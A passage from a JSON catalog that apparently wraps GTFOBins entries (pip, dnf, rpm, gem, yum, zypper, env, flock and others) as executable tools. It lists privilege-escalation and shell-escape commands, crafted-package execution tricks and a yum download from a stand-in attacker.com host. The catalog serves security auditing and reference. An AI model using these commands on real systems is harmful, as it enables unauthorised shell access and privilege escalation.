        "method": "pip",
        "package_name": "pip",
        "commands": [
          "pip install pip"
        ]
      }
    ],
    "name": "pip",
    "namespace": "package:python:pip",
    "parameters": [],
    "platforms": [
      "linux",
      "macos",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/pip/"
      }
    ],
    "related_tools": [
      "pipx",
      "easy_install",
      "python"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 8,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "pipx.md",
    "allowed-tools": [
      "pipx",
      "pip",
      "python",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Python code execution output"
        }
      ],
      "side_effects": [
        "process_spawn",
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 8,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Isolated Python app installer, can execute Python code.",
    "examples": [
      {
        "description": "Execute Python code via pipx",
        "command": "pipx run /path/to/script.py"
      }
    ],
    "execution": {
      "template": "pipx run /path/to/script.py",
      "sandbox": "execFile",
      "timeout_seconds": 60,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "package-python-pipx",
    "install": [
      {
        "method": "pip",
        "package_name": "pipx",
        "commands": [
          "pip install pipx"
        ]
      }
    ],
    "name": "pipx",
    "namespace": "package:python:pipx",
    "parameters": [],
    "platforms": [
      "linux",
      "macos",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/pipx/"
      }
    ],
    "related_tools": [
      "pip",
      "python",
      "easy_install"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 8,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "dnf.md",
    "allowed-tools": [
      "dnf",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn",
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 32,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Fedora package manager, can execute commands by installing crafted RPM packages.",
    "examples": [
      {
        "description": "Execute a command via dnf with crafted RPM",
        "command": "echo '#!/bin/sh\n/path/to/command' >x.sh\nfpm -n x -s dir -t rpm -a all --before-install x.sh .\ndnf install -y x-1.0-1.noarch.rpm --disablerepo=*\n"
      }
    ],
    "execution": {
      "template": "dnf install -y package.rpm --disablerepo=*",
      "sandbox": "execFile",
      "timeout_seconds": 60,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "requires-root",
      "process-manip"
    ],
    "global_vars": {},
    "id": "package-rpm-dnf",
    "install": [
      {
        "method": "dnf",
        "package_name": "dnf",
        "commands": [
          "dnf install -y dnf"
        ]
      }
    ],
    "name": "dnf",
    "namespace": "package:rpm:dnf",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/dnf/"
      }
    ],
    "related_tools": [
      "rpm"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 32,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "rpm.md",
    "allowed-tools": [
      "rpm",
      "dnf",
      "yum",
      "zypper",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File or command output"
        }
      ],
      "side_effects": [
        "process_spawn",
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 8,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "RPM package manager, can execute commands via pre/post-install scripts.",
    "examples": [
      {
        "description": "Read a file via rpm",
        "command": "rpm -i /path/to/file"
      },
      {
        "description": "Execute command via rpm with crafted RPM",
        "command": "rpm -i /path/to/crafted.rpm"
      }
    ],
    "execution": {
      "template": "rpm -i /path/to/package.rpm",
      "sandbox": "execFile",
      "timeout_seconds": 60,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "requires-root",
      "process-manip"
    ],
    "global_vars": {},
    "id": "package-rpm-rpm",
    "install": [
      {
        "method": "apt",
        "package_name": "rpm",
        "commands": [
          "apt-get install -y rpm"
        ]
      }
    ],
    "name": "rpm",
    "namespace": "package:rpm:rpm",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/rpm/"
      }
    ],
    "related_tools": [
      "rpmdb",
      "rpmquery",
      "rpmverify",
      "dnf",
      "yum",
      "zypper"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 8,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "collection",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content",
        "command-execution"
      ],
      "consumes": [
        "file",
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "rpmdb.md",
    "allowed-tools": [
      "rpmdb",
      "rpm",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File content output"
        }
      ],
      "side_effects": [],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "RPM database query tool, can read files.",
    "examples": [
      {
        "description": "Read a file via rpmdb",
        "command": "rpmdb /path/to/db"
      }
    ],
    "execution": {
      "template": "rpmdb /path/to/db",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system"
    ],
    "global_vars": {},
    "id": "package-rpm-rpmdb",
    "install": [
      {
        "method": "apt",
        "package_name": "rpm",
        "commands": [
          "apt-get install -y rpm"
        ]
      }
    ],
    "name": "rpmdb",
    "namespace": "package:rpm:rpmdb",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/rpmdb/"
      }
    ],
    "related_tools": [
      "rpm",
      "rpmquery",
      "rpmverify"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "low",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content"
      ],
      "consumes": [
        "file"
      ]
    }
  },
  {
    "_body": "",
    "_source": "rpmquery.md",
    "allowed-tools": [
      "rpmquery",
      "rpm",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File content output"
        }
      ],
      "side_effects": [],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "RPM package query tool, can read files.",
    "examples": [
      {
        "description": "Read a file via rpmquery",
        "command": "rpmquery /path/to/file"
      }
    ],
    "execution": {
      "template": "rpmquery /path/to/file",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system"
    ],
    "global_vars": {},
    "id": "package-rpm-rpmquery",
    "install": [
      {
        "method": "apt",
        "package_name": "rpm",
        "commands": [
          "apt-get install -y rpm"
        ]
      }
    ],
    "name": "rpmquery",
    "namespace": "package:rpm:rpmquery",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/rpmquery/"
      }
    ],
    "related_tools": [
      "rpm",
      "rpmdb",
      "rpmverify"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "low",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content"
      ],
      "consumes": [
        "file"
      ]
    }
  },
  {
    "_body": "",
    "_source": "rpmverify.md",
    "allowed-tools": [
      "rpmverify",
      "rpm",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File content output"
        }
      ],
      "side_effects": [],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "RPM package verification tool, can read files.",
    "examples": [
      {
        "description": "Read a file via rpmverify",
        "command": "rpmverify /path/to/file"
      }
    ],
    "execution": {
      "template": "rpmverify /path/to/file",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system"
    ],
    "global_vars": {},
    "id": "package-rpm-rpmverify",
    "install": [
      {
        "method": "apt",
        "package_name": "rpm",
        "commands": [
          "apt-get install -y rpm"
        ]
      }
    ],
    "name": "rpmverify",
    "namespace": "package:rpm:rpmverify",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/rpmverify/"
      }
    ],
    "related_tools": [
      "rpm",
      "rpmdb",
      "rpmquery"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "low",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content"
      ],
      "consumes": [
        "file"
      ]
    }
  },
  {
    "_body": "\n\n# gem — Ruby Package Manager\n\ngem manages Ruby packages. The `open` command with a custom editor flag can spawn a shell. The `build` and `install --file` commands inherit from Ruby, allowing arbitrary code execution when used with sudo.\n",
    "_source": "gem.md",
    "allowed-tools": [
      "gem",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "Repository Maintainers",
    "capabilities": [
      "security.privilege-escalation.shell",
      "security.execution.command",
      "system.package.install"
    ],
    "contract": {
      "inputs": [
        {
          "type": "system.package.ruby",
          "description": "Ruby gem name"
        }
      ],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Ruby package manager that can spawn shells via editor open or install hooks.",
    "examples": [
      {
        "description": "Spawn shell via gem open with custom editor",
        "command": "gem open -e '/bin/sh -s' debug"
      },
      {
        "description": "Execute ruby code via gem build (inherits from ruby)",
        "command": "gem build /path/to/script.rb"
      },
      {
        "description": "Execute ruby code via gem install --file",
        "command": "gem install --file /path/to/script.rb"
      },
      {
        "description": "Open vi editor via gem open (can escape to shell)",
        "command": "gem open debug"
      }
    ],
    "execution": {
      "template": "gem {open} {e} {build} {install} {file}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "package-ruby-gem",
    "install": [
      {
        "method": "apt",
        "package_name": "ruby",
        "commands": [
          "apt-get install -y ruby"
        ]
      }
    ],
    "name": "gem",
    "namespace": "package:ruby:gem",
    "parameters": [
      {
        "name": "open",
        "type": "string",
        "required": false,
        "description": "Open gem source directory",
        "aliases": [
          "open"
        ],
        "flag": "open"
      },
      {
        "name": "e",
        "type": "string",
        "required": false,
        "description": "Editor to use",
        "aliases": [
          "-e"
        ],
        "flag": "-e"
      },
      {
        "name": "build",
        "type": "file",
        "required": false,
        "description": "Build a gem from a gemspec",
        "aliases": [
          "build"
        ],
        "flag": "build"
      },
      {
        "name": "install",
        "type": "string",
        "required": false,
        "description": "Install a gem",
        "aliases": [
          "install"
        ],
        "flag": "install"
      },
      {
        "name": "file",
        "type": "file",
        "required": false,
        "description": "Install from file",
        "aliases": [
          "--file"
        ],
        "flag": "--file"
      }
    ],
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "RubyGems documentation",
        "url": "https://guides.rubygems.org/"
      }
    ],
    "related_tools": [
      "ruby",
      "bundler",
      "rake"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access"
      ],
      "consumes": [
        "gem-name"
      ]
    }
  },
  {
    "_body": "\n# snap\n\nsnap is a command-line utility. Snap package manager; can also execute arbitrary commands.\n",
    "_source": "snap.md",
    "allowed-tools": [
      "snap"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Snap package manager; can spawn a shell.",
    "examples": [
      {
        "description": "Execute arbitrary commands (sudo)",
        "command": "snap install xxxx_1.0_all.snap --dangerous --devmode"
      }
    ],
    "execution": {
      "template": "snap",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "pipes-stdin",
      "process-manip"
    ],
    "global_vars": {},
    "id": "package-snap-snap",
    "install": [
      {
        "method": "apt",
        "package_name": "snapd",
        "commands": [
          "apt-get install -y snapd"
        ]
      }
    ],
    "name": "snap",
    "namespace": "package:snap:snap",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/snap/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# yum\n\nyum is a command-line utility. Yellowdog Updater Modified package manager; can also execute arbitrary commands, download files Can also leverage capabilities from: python.\n",
    "_source": "yum.md",
    "allowed-tools": [
      "yum"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command",
      "network.transfer.download"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Yellowdog Updater Modified package manager; can execute arbitrary commands and spawn shells.",
    "examples": [
      {
        "description": "Execute arbitrary commands (sudo)",
        "command": "yum localinstall -y x-1.0-1.noarch.rpm"
      },
      {
        "description": "Download files (sudo)",
        "command": "yum install http://attacker.com/path/to/input-file.rpm"
      },
      {
        "description": "Leverage python capabilities",
        "command": "cat >/path/to/temp-dir/x<<EOF\n[main]\nplugins=1\npluginpath=/path/to/temp-dir/\npluginconfpath=/path/to/temp-dir/\nEOF\n\ncat >/path/to/temp-dir/y.conf<<EOF\n[main]\nenabled=1\nEOF\n\ncat >/path/to/temp-dir/y.py<<EOF\nimport yum\nfrom yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE\nrequires_api_version='2.1'\ndef init_hook(conduit):\n  ...\nEOF\n\nyum -c /path/to/temp-dir/x --enableplugin=y"
      }
    ],
    "execution": {
      "template": "yum",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "network-intensive",
      "pipes-stdin",
      "process-manip"
    ],
    "global_vars": {},
    "id": "package-yum-yum",
    "install": [
      {
        "method": "apt",
        "package_name": "yum",
        "commands": [
          "apt-get install -y yum"
        ]
      }
    ],
    "name": "yum",
    "namespace": "package:yum:yum",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/yum/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution",
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# zypper\n\nzypper is a command-line utility. openSUSE/SLES package manager; can also spawn an interactive shell.\n",
    "_source": "zypper.md",
    "allowed-tools": [
      "zypper"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "openSUSE/SLES package manager; can execute commands and spawn shells.",
    "examples": [
      {
        "description": "Spawn an interactive shell (sudo, unprivileged)",
        "command": "cp /bin/sh /usr/lib/zypper/commands/zypper-x\nzypper x"
      },
      {
        "description": "Spawn an interactive shell (sudo, unprivileged)",
        "command": "cp /bin/sh /path/to/temp-dir/zypper-x\nPATH=$PATH:/path/to/temp-dir/ zypper x"
      }
    ],
    "execution": {
      "template": "zypper",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "pipes-stdin",
      "process-manip",
      "requires-root"
    ],
    "global_vars": {},
    "id": "package-zypper-zypper",
    "install": [
      {
        "method": "apt",
        "package_name": "zypper",
        "commands": [
          "apt-get install -y zypper"
        ]
      }
    ],
    "name": "zypper",
    "namespace": "package:zypper:zypper",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/zypper/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "",
    "_source": "nohup.md",
    "allowed-tools": [
      "nohup",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 2,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Run command immune to hangups, can execute commands.",
    "examples": [
      {
        "description": "Execute command via nohup",
        "command": "nohup /path/to/command"
      }
    ],
    "execution": {
      "template": "nohup /path/to/command",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "process-nohup",
    "install": [
      {
        "method": "apt",
        "package_name": "coreutils",
        "commands": [
          "apt-get install -y coreutils"
        ]
      }
    ],
    "name": "nohup",
    "namespace": "process:background:nohup",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/nohup/"
      }
    ],
    "related_tools": [
      "disown",
      "setsid"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 2,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "low",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "runscript.md",
    "allowed-tools": [
      "runscript",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 2,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Run script command, can execute commands.",
    "examples": [
      {
        "description": "Execute command via runscript",
        "command": "runscript /path/to/script"
      }
    ],
    "execution": {
      "template": "runscript /path/to/script",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "process-runscript",
    "install": [
      {
        "method": "apt",
        "package_name": "runscript",
        "commands": [
          "apt-get install -y runscript"
        ]
      }
    ],
    "name": "runscript",
    "namespace": "process:control:runscript",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/runscript/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 2,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "\n\n# env — Run in Modified Environment\n\nenv runs a program with modified environment variables. When installed with SUID, it can spawn a privileged shell with the `-p` flag.\n",
    "_source": "env.md",
    "allowed-tools": [
      "env",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "Repository Maintainers",
    "capabilities": [
      "security.privilege-escalation.shell",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [
        {
          "type": "system.command.string",
          "description": "Command to execute"
        }
      ],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 2,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Run a program in a modified environment, can spawn a shell.",
    "examples": [
      {
        "description": "Spawn an interactive shell",
        "command": "env /bin/sh"
      },
      {
        "description": "Spawn a privileged shell with SUID",
        "command": "env /bin/sh -p"
      }
    ],
    "execution": {
      "template": "env {0}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "process-env",
    "install": [
      {
        "method": "apt",
        "package_name": "coreutils",
        "commands": [
          "apt-get install -y coreutils"
        ]
      }
    ],
    "name": "env",
    "namespace": "process:environment:env",
    "parameters": [],
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "env man page",
        "url": "https://man7.org/linux/man-pages/man1/env.1.html"
      }
    ],
    "related_tools": [
      "nohup",
      "nice"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 2,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access"
      ],
      "consumes": []
    }
  },
  {
    "_body": "",
    "_source": "pexec.md",
    "allowed-tools": [
      "pexec",
      "xargs",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Execute command in parallel, can execute commands.",
    "examples": [
      {
        "description": "Execute command via pexec",
        "command": "pexec /path/to/command"
      }
    ],
    "execution": {
      "template": "pexec /path/to/command",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "process-exec-pexec",
    "install": [
      {
        "method": "apt",
        "package_name": "pexec",
        "commands": [
          "apt-get install -y pexec"
        ]
      }
    ],
    "name": "pexec",
    "namespace": "process:exec:pexec",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/pexec/"
      }
    ],
    "related_tools": [
      "xargs",
      "parallel"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "\n\n# flock — File Lock Manager\n\nflock manages file locks from shell scripts. The `-u /` flag unlocks the root filesystem and can spawn a shell, useful for privilege escalation when used with sudo or SUID.\n",
    "_source": "flock.md",
    "allowed-tools": [
      "flock",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "Repository Maintainers",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 2,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Manage file locks from shell scripts, can spawn a shell when used with privileges.",
    "examples": [
      {
        "description": "Spawn interactive shell via flock unlock",
        "command": "flock -u / /bin/sh"
      },
      {
        "description": "Spawn privileged shell with SUID",
        "command": "flock -u / /bin/sh -p"
      }
    ],
    "execution": {
      "template": "flock {u}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "process-lock-flock",
    "install": [
      {
        "method": "apt",
        "package_name": "util-linux",
        "commands": [
          "apt-get install -y util-linux"
        ]
      }
    ],
    "name": "flock",
    "namespace": "process:lock:flock",
    "parameters": [
      {
        "name": "u",
        "type": "string",
        "required": false,
        "description": "Unlock a file descriptor",
        "aliases": [
          "-u"
        ],
        "flag": "-u"
      }
    ],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "flock man page",
        "url": "https://man7.org/linux/man-pages/man1/flock.1.html"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 2,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access"
      ],
      "consumes": []
    }
  },
  {
    "_body": "",
    "_source": "setlock.md",
    "allowed-tools": [
      "setlock",
      "flock",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
